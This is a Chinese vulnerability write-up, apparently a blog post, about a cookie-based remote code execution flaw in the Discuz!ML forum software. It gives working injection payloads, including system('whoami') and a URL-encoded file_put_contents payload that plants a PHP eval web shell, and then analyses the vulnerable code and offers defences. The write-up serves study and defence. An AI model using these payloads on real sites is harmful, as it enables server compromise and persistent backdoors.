1419.ml forum.php,discuz ml RCE漏洞重现及分析

0x00 概述

7月11日,在网上发现discuz ml(多国语言版)出现RCE漏洞的消息,漏洞在于cookie的language可控并且没有严格过滤,导致可以远程代码执行。

0x01 影响范围

Discuz!ML v.3.4 ,

Discuz!ML v.3.2 ,

Discuz!ML v.3.3 product of codersclub.org

0x02 漏洞重现

faba9f4e937ade010f5c0787b7b535e9.png

让请求cookie含有xxxx_xxxx_language

visit http://xxx.org/discuzx/portal.php again

change:4gH4_0df5_language=en’.phpinfo().’;

588d0c5f66e76ee4fa047736882069b0.png

or

4gH4_0df5_language=en’.system(‘whoami&&pwd’).’;

1c6495a7e3e05de51a89fbf15ff881d4.png

getshell

LSmZ_2132_language=es'.file_put_contents%28%27xxxxxxx.php%27%2Curldecode%28%27%253c%253fphp%2520@eval%28%2524_%25%35%30%25%34%66%25%35%33%25%35%34%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29.';

3558fa1db4754197ee1d56a8db6d5ab9.png

0x03 检测工具

0x04 漏洞分析

Discuz ml v3.4 为例

dizcuz-ml-34\upload\source\module\portal\portal_index.php:32

include_once template(‘diy:portal/index’);

包含了template函数渲染的文件

进入template函数看看

dizcuz-ml-34\upload\source\function\function_core.php:524

/*vot*/$cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';

if($templateid != 1 && !file_exists(DISCUZ_ROOT.$tplfile) && !file_exists(substr(DISCUZ_ROOT.$tplfile, 0, -4).'.php')

&& !file_exists(DISCUZ_ROOT.($tplfile = $tpldir.$filebak.'.htm'))) {

$tplfile = './template/default/'.$filebak.'.htm';

}

if($gettplfile) {

return $tplfile;

}

checktplrefresh($tplfile, $tplfile, @filemtime(DISCUZ_ROOT.$cachefile), $templateid, $cachefile, $tpldir, $file);

return DISCUZ_ROOT.$cachefile;

返回了缓存文件名

根据poc可知是language可控,那就是DISCUZ_LANG可控了。

再看看在哪里赋值

dizcuz-ml-34\upload\source\class\discuz\discuz_application.php:304

// set language from cookies

if($this->var['cookie']['language']) {

$lng = strtolower($this->var['cookie']['language']);

从cookie-language取值给$lng

338

$this->var['oldlanguage'] = $lng; // Store Old Language Value for compare

// define DISCUZ_LANG

define('DISCUZ_LANG', $lng);

// set new language to cookie

dsetcookie('language', $lng);

// set new language variables

$this->var['language'] = $lng;

$lng赋值给了DISCUZ_LANG

根据poc

q3KZ_2132_language=sc’.system(‘whoami’).’;

最终include_once ‘sc’.system(‘whoami’).’_1_1_common_header_forum_index.tpl.php’;

包含闭合引号导致执行了代码。

c282fb6f564d81cec47a3e46089032de.png

0x05 防御方案

1. 关注 https://bitbucket.org/vot/discuz.ml/commits/all

2.过滤特殊字符(串)如单引号、双引号、括号,点,system、php、eval等。

3.禁止可控变量DISCUZ_LANG作为缓存文件名的一部分。

0x06 结语

Easy to rce!

从部分代码来看貌似这个功能还不太完善……

dizcuz-ml-34\upload\source\function\function_core.php:2089

if($_G['config']['output']['language'] == 'zh_cn') {

return 'SC_UTF8';

} elseif ($_G['config']['output']['language'] == 'zh_tw') {

return 'TC_UTF8';

} else {

//vot !!!! ToDo: Check this for other languages !!!!!!!!!!!!!!!!!!!!!

/*vot*/return strtoupper(DISCUZ_LANG) . '_UTF8';

0x07 参考资料

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值